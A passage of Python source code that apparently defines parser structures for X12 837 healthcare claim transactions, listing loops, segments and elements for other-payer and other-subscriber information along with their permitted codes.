Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2330C = Loop( u'2330C', Properties(looptype='',repeat=u'1',pos=u'325',req_sit=u'S',desc=u'Other Payer Patient Information'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'325',desc=u'Other Payer Patient Information'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'QC'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'1'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'N', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'N', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=8, codes=[u'EI', u'MI'] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'R', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'3',pos=u'355',desc=u'Other Payer identification Number'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'1W', u'IG', u'SY'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2330D = Loop( u'2330D', Properties(looptype='',repeat=u'1',pos=u'325',req_sit=u'S',desc=u'Other Payer Attending Provider'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'325',desc=u'Other Payer Attending Provider'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'71'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'1', u'2'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'N', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'N', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=8, codes=[] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'N', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'R',repeat=u'3',pos=u'355',desc=u'Other Payer Attending Provider Identification'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'1A', u'1B', u'1C', u'1D', u'1G', u'1H', u'EI', u'G2', u'LU', u'N5'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2330E = Loop( u'2330E', Properties(looptype='',repeat=u'1',pos=u'325',req_sit=u'S',desc=u'Other Payer Operating Provider'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'325',desc=u'Other Payer Operating Provider'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'72'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'1'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'N', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'N', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=8, codes=[] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'N', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'R',repeat=u'3',pos=u'355',desc=u'Other Payer Operating Provider Identification'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'1A', u'1B', u'1C', u'1D', u'1G', u'1H', u'EI', u'G2', u'LU', u'N5'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2330F = Loop( u'2330F', Properties(looptype='',repeat=u'1',pos=u'325',req_sit=u'S',desc=u'Other Payer Other Provider'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'325',desc=u'Other Payer Other Provider'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'73'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'1', u'2'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'N', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'N', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=8, codes=[] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'N', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'R',repeat=u'3',pos=u'355',desc=u'Other Payer Other Provider Identification'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'1A', u'1B', u'1C', u'1D', u'1G', u'1H', u'EI', u'G2', u'LU', u'N5', u'SY'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2330H = Loop( u'2330H', Properties(looptype='',repeat=u'1',pos=u'325',req_sit=u'S',desc=u'Other Payer Service Facility Provider'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'325',desc=u'Other Payer Service Facility Provider'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'FA'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'2'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'N', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'N', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=8, codes=[] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'N', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'R',repeat=u'3',pos=u'355',desc=u'Other Payer Service Facility Provider Identification'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'1B', u'1C', u'1D', u'EI', u'G2', u'LU', u'N5'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2320 = Loop( u'2320', Properties(looptype='',repeat=u'10',pos=u'290',req_sit=u'S',desc=u'Other Subscriber Information'), Segment( u'SBR', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'290',desc=u'Other Subscriber Information'), Element( u'SBR01', Properties(desc=u'Payer Responsibility Sequence Number Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=1, codes=[u'P', u'S', u'T'] ) ), Element( u'SBR02', Properties(desc=u'Individual Relationship Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=2, codes=[u'01', u'04', u'05', u'07', u'10', u'15', u'17', u'18', u'19', u'20', u'21', u'22', u'23', u'24', u'29', u'32', u'33', u'36', u'39', u'40', u'41', u'43', u'53', u'G8'] ) ), Element( u'SBR03', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=3, codes=[] ) ), Element( u'SBR04', Properties(desc=u'Name', req_sit=u'S', data_type=(u'AN',u'1',u'60'), position=4, codes=[] ) ), Element( u'SBR05', Properties(desc=u'Insurance Type Code', req_sit=u'N', data_type=(u'ID',u'1',u'3'), position=5, codes=[] ) ), Element( u'SBR06', Properties(desc=u'Coordination of Benefits Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=6, codes=[] ) ), Element( u'SBR07', Properties(desc=u'Yes/No Condition or Response Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=7, codes=[] ) ), Element( u'SBR08', Properties(desc=u'Employment Status Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=8, codes=[] ) ), Element( u'SBR09', Properties(desc=u'Claim Filing Indicator Code', req_sit=u'S', data_type=(u'ID',u'1',u'2'), position=9, codes=[u'09', u'10', u'11', u'12', u'13', u'14', u'15', u'16', u'AM', u'BL', u'CH', u'CI', u'DS', u'HM', u'LI', u'LM', u'MA', u'MB', u'MC', u'OF', u'TV', u'VA', u'WC', u'ZZ'] ) ), ), Segment( u'CAS', Properties(syntax='',req_sit=u'S',repeat=u'5',pos=u'295',desc=u'Claim Level Adjustment'), Element( u'CAS01', Properties(desc=u'Claim Adjustment Group Code', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=1, codes=[u'CO', u'CR', u'OA', u'PI', u'PR'] ) ), Element( u'CAS02', Properties(desc=u'Claim Adjustment Reason Code', req_sit=u'R', data_type=(u'ID',u'1',u'5'), position=2, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'10', u'11', u'12', u'13', u'14', u'15', u'16', u'17', u'18', u'19', u'20', u'21', u'22', u'23', u'24', u'25', u'26', u'27', u'28', u'29', u'30', u'31', u'32', u'33', u'34', u'35', u'36', u'37', u'38', u'39', u'40', u'41', u'42', u'43', u'44', u'45', u'46', u'47', u'48', u'49', u'50', u'51', u'52', u'53', u'54', u'55', u'56', u'57', u'58', u'59', u'60', u'61', u'62', u'63', u'64', u'65', u'66', u'67', u'68', u'69', u'70', u'71', u'72', u'73', u'74', u'75', u'76', u'77', u'78', u'79', u'80', u'81', u'82', u'83', u'84', u'85', u'86', u'87', u'88', u'89', u'90', u'91', u'92', u'93', u'94', u'95', u'96', u'97', u'98', u'99', u'100', u'101', u'102', u'103', u'104', u'105', u'106', u'107', u'108', u'109', u'110', u'111', u'112', u'113', u'114', u'115', u'116', u'117', u'118', u'119', u'120', u'121', u'122', u'123', u'124', u'125', u'126', u'127', u'128', u'129', u'130', u'131', u'132', u'133', u'134', u'135', u'136', u'137', u'138', u'139', u'140', u'141', u'142', u'143', u'144', u'145', u'146', u'147', u'148', u'149', u'150', u'151', u'152', u'153', u'154', u'A0', u'A1', u'A2', u'A3', u'A4', u'A5', u'A6', u'A7', u'A8', u'B1', u'B2', u'B3', u'B4', u'B5', u'B6', u'B7', u'B8', u'B9', u'B10', u'B11', u'B12', u'B13', u'B14', u'B15', u'B16', u'B17', u'B18', u'B19', u'B20', u'B21', u'B22', u'B23', u'D1', u'D2', u'D3', u'D4', u'D5', u'D6', u'D7', u'D8', u'D9', u'D10', u'D11', u'D12', u'D13', u'D14', u'D15', u'W1'] ) ), Element( u'CAS03', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=3, codes=[] ) ), Element( u'CAS04', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=4, codes=[] ) ), Element( u'CAS05', Properties(desc=u'Claim Adjustment Reason Code', req_sit=u'S', data_type=(u'ID',u'1',u'5'), position=5, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'10', u'11', u'12', u'13', u'14', u'15', u'16', u'17', u'18', u'19', u'20', u'21', u'22', u'23', u'24', u'25', u'26', u'27', u'28', u'29', u'30', u'31', u'32', u'33', u'34', u'35', u'36', u'37', u'38', u'39', u'40', u'41', u'42', u'43', u'44', u'45', u'46', u'47', u'48', u'49', u'50', u'51', u'52', u'53', u'54', u'55', u'56', u'57', u'58', u'59', u'60', u'61', u'62', u'63', u'64', u'65', u'66', u'67', u'68', u'69', u'70', u'71', u'72', u'73', u'74', u'75', u'76', u'77', u'78', u'79', u'80', u'81', u'82', u'83', u'84', u'85', u'86', u'87', u'88', u'89', u'90', u'91', u'92', u'93', u'94', u'95', u'96', u'97', u'98', u'99', u'100', u'101', u'102', u'103', u'104', u'105', u'106', u'107', u'108', u'109', u'110', u'111', u'112', u'113', u'114', u'115', u'116', u'117', u'118', u'119', u'120', u'121', u'122', u'123', u'124', u'125', u'126', u'127', u'128', u'129', u'130', u'131', u'132', u'133', u'134', u'135', u'136', u'137', u'138', u'139', u'140', u'141', u'142', u'143', u'144', u'145', u'146', u'147', u'148', u'149', u'150', u'151', u'152', u'153', u'154', u'A0', u'A1', u'A2', u'A3', u'A4', u'A5', u'A6', u'A7', u'A8', u'B1', u'B2', u'B3', u'B4', u'B5', u'B6', u'B7', u'B8', u'B9', u'B10', u'B11', u'B12', u'B13', u'B14', u'B15', u'B16', u'B17', u'B18', u'B19', u'B20', u'B21', u'B22', u'B23', u'D1', u'D2', u'D3', u'D4', u'D5', u'D6', u'D7', u'D8', u'D9', u'D10', u'D11', u'D12', u'D13', u'D14', u'D15', u'W1'] ) ), Element( u'CAS06', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=6, codes=[] ) ), Element( u'CAS07', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=7, codes=[] ) ), Element( u'CAS08', Properties(desc=u'Claim Adjustment Reason Code', req_sit=u'S', data_type=(u'ID',u'1',u'5'), position=8, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'10', u'11', u'12', u'13', u'14', u'15', u'16', u'17', u'18', u'19', u'20', u'21', u'22', u'23', u'24', u'25', u'26', u'27', u'28', u'29', u'30', u'31', u'32', u'33', u'34', u'35', u'36', u'37', u'38', u'39', u'40', u'41', u'42', u'43', u'44', u'45', u'46', u'47', u'48', u'49', u'50', u'51', u'52', u'53', u'54', u'55', u'56', u'57', u'58', u'59', u'60', u'61', u'62', u'63', u'64', u'65', u'66', u'67', u'68', u'69', u'70', u'71', u'72', u'73', u'74', u'75', u'76', u'77', u'78', u'79', u'80', u'81', u'82', u'83', u'84', u'85', u'86', u'87', u'88', u'89', u'90', u'91', u'92', u'93', u'94', u'95', u'96', u'97', u'98', u'99', u'100', u'101', u'102', u'103', u'104', u'105', u'106', u'107', u'108', u'109', u'110', u'111', u'112', u'113', u'114', u'115', u'116', u'117', u'118', u'119', u'120', u'121', u'122', u'123', u'124', u'125', u'126', u'127', u'128', u'129', u'130', u'131', u'132', u'133', u'134', u'135', u'136', u'137', u'138', u'139', u'140', u'141', u'142', u'143', u'144', u'145', u'146', u'147', u'148', u'149', u'150', u'151', u'152', u'153', u'154', u'A0', u'A1', u'A2', u'A3', u'A4', u'A5', u'A6', u'A7', u'A8', u'B1', u'B2', u'B3', u'B4', u'B5', u'B6', u'B7', u'B8', u'B9', u'B10', u'B11', u'B12', u'B13', u'B14', u'B15', u'B16', u'B17', u'B18', u'B19', u'B20', u'B21', u'B22', u'B23', u'D1', u'D2', u'D3', u'D4', u'D5', u'D6', u'D7', u'D8', u'D9', u'D10', u'D11', u'D12', u'D13', u'D14', u'D15', u'W1'] ) ), Element( u'CAS09', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=9, codes=[] ) ), Element( u'CAS10', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=10, codes=[] ) ), Element( u'CAS11', Properties(desc=u'Claim Adjustment Reason Code', req_sit=u'S', data_type=(u'ID',u'1',u'5'), position=11, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'10', u'11', u'12', u'13', u'14', u'15', u'16', u'17', u'18', u'19', u'20', u'21', u'22', u'23', u'24', u'25', u'26', u'27', u'28', u'29', u'30', u'31', u'32', u'33', u'34', u'35', u'36', u'37', u'38', u'39', u'40', u'41', u'42', u'43', u'44', u'45', u'46', u'47', u'48', u'49', u'50', u'51', u'52', u'53', u'54', u'55', u'56', u'57', u'58', u'59', u'60', u'61', u'62', u'63', u'64', u'65', u'66', u'67', u'68', u'69', u'70', u'71', u'72', u'73', u'74', u'75', u'76', u'77', u'78', u'79', u'80', u'81', u'82', u'83', u'84', u'85', u'86', u'87', u'88', u'89', u'90', u'91', u'92', u'93', u'94', u'95', u'96', u'97', u'98', u'99', u'100', u'101', u'102', u'103', u'104', u'105', u'106', u'107', u'108', u'109', u'110', u'111', u'112', u'113', u'114', u'115', u'116', u'117', u'118', u'119', u'120', u'121', u'122', u'123', u'124', u'125', u'126', u'127', u'128', u'129', u'130', u'131', u'132', u'133', u'134', u'135', u'136', u'137', u'138', u'139', u'140', u'141', u'142', u'143', u'144', u'145', u'146', u'147', u'148', u'149', u'150', u'151', u'152', u'153', u'154', u'A0', u'A1', u'A2', u'A3', u'A4', u'A5', u'A6', u'A7', u'A8', u'B1', u'B2', u'B3', u'B4', u'B5', u'B6', u'B7', u'B8', u'B9', u'B10', u'B11', u'B12', u'B13', u'B14', u'B15', u'B16', u'B17', u'B18', u'B19', u'B20', u'B21', u'B22', u'B23', u'D1', u'D2', u'D3', u'D4', u'D5', u'D6', u'D7', u'D8', u'D9', u'D10', u'D11', u'D12', u'D13', u'D14', u'D15', u'W1'] ) ), Element( u'CAS12', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=12, codes=[] ) ), Element( u'CAS13', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=13, codes=[] ) ), Element( u'CAS14', Properties(desc=u'Claim Adjustment Reason Code', req_sit=u'S', data_type=(u'ID',u'1',u'5'), position=14, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'10', u'11', u'12', u'13', u'14', u'15', u'16', u'17', u'18', u'19', u'20', u'21', u'22', u'23', u'24', u'25', u'26', u'27', u'28', u'29', u'30', u'31', u'32', u'33', u'34', u'35', u'36', u'37', u'38', u'39', u'40', u'41', u'42', u'43', u'44', u'45', u'46', u'47', u'48', u'49', u'50', u'51', u'52', u'53', u'54', u'55', u'56', u'57', u'58', u'59', u'60', u'61', u'62', u'63', u'64', u'65', u'66', u'67', u'68', u'69', u'70', u'71', u'72', u'73', u'74', u'75', u'76', u'77', u'78', u'79', u'80', u'81', u'82', u'83', u'84', u'85', u'86', u'87', u'88', u'89', u'90', u'91', u'92', u'93', u'94', u'95', u'96', u'97', u'98', u'99', u'100', u'101', u'102', u'103', u'104', u'105', u'106', u'107', u'108', u'109', u'110', u'111', u'112', u'113', u'114', u'115', u'116', u'117', u'118', u'119', u'120', u'121', u'122', u'123', u'124', u'125', u'126', u'127', u'128', u'129', u'130', u'131', u'132', u'133', u'134', u'135', u'136', u'137', u'138', u'139', u'140', u'141', u'142', u'143', u'144', u'145', u'146', u'147', u'148', u'149', u'150', u'151', u'152', u'153', u'154', u'A0', u'A1', u'A2', u'A3', u'A4', u'A5', u'A6', u'A7', u'A8', u'B1', u'B2', u'B3', u'B4', u'B5', u'B6', u'B7', u'B8', u'B9', u'B10', u'B11', u'B12', u'B13', u'B14', u'B15', u'B16', u'B17', u'B18', u'B19', u'B20', u'B21', u'B22', u'B23', u'D1', u'D2', u'D3', u'D4', u'D5', u'D6', u'D7', u'D8', u'D9', u'D10', u'D11', u'D12', u'D13', u'D14', u'D15', u'W1'] ) ), Element( u'CAS15', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=15, codes=[] ) ), Element( u'CAS16', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=16, codes=[] ) ), Element( u'CAS17', Properties(desc=u'Claim Adjustment Reason Code', req_sit=u'S', data_type=(u'ID',u'1',u'5'), position=17, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'10', u'11', u'12', u'13', u'14', u'15', u'16', u'17', u'18', u'19', u'20', u'21', u'22', u'23', u'24', u'25', u'26', u'27', u'28', u'29', u'30', u'31', u'32', u'33', u'34', u'35', u'36', u'37', u'38', u'39', u'40', u'41', u'42', u'43', u'44', u'45', u'46', u'47', u'48', u'49', u'50', u'51', u'52', u'53', u'54', u'55', u'56', u'57', u'58', u'59', u'60', u'61', u'62', u'63', u'64', u'65', u'66', u'67', u'68', u'69', u'70', u'71', u'72', u'73', u'74', u'75', u'76', u'77', u'78', u'79', u'80', u'81', u'82', u'83', u'84', u'85', u'86', u'87', u'88', u'89', u'90', u'91', u'92', u'93', u'94', u'95', u'96', u'97', u'98', u'99', u'100', u'101', u'102', u'103', u'104', u'105', u'106', u'107', u'108', u'109', u'110', u'111', u'112', u'113', u'114', u'115', u'116', u'117', u'118', u'119', u'120', u'121', u'122', u'123', u'124', u'125', u'126', u'127', u'128', u'129', u'130', u'131', u'132', u'133', u'134', u'135', u'136', u'137', u'138', u'139', u'140', u'141', u'142', u'143', u'144', u'145', u'146', u'147', u'148', u'149', u'150', u'151', u'152', u'153', u'154', u'A0', u'A1', u'A2', u'A3', u'A4', u'A5', u'A6', u'A7', u'A8', u'B1', u'B2', u'B3', u'B4', u'B5', u'B6', u'B7', u'B8', u'B9', u'B10', u'B11', u'B12', u'B13', u'B14', u'B15', u'B16', u'B17', u'B18', u'B19', u'B20', u'B21', u'B22', u'B23', u'D1', u'D2', u'D3', u'D4', u'D5', u'D6', u'D7', u'D8', u'D9', u'D10', u'D11', u'D12', u'D13', u'D14', u'D15', u'W1'] ) ), Element( u'CAS18', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=18, codes=[] ) ), Element( u'CAS19', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=19, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'300',desc=u'Payer Prior Payment'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'C4'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'300',desc=u'Coordination of Benefits (COB) Total Allowed Amount'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'B6'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'300',desc=u'Coordination of Benefits (COB) Total Submitted Charges'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'T3'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'300',desc=u'Diagnostic Related Group (DRG) Outlier Amount'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'ZZ'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', 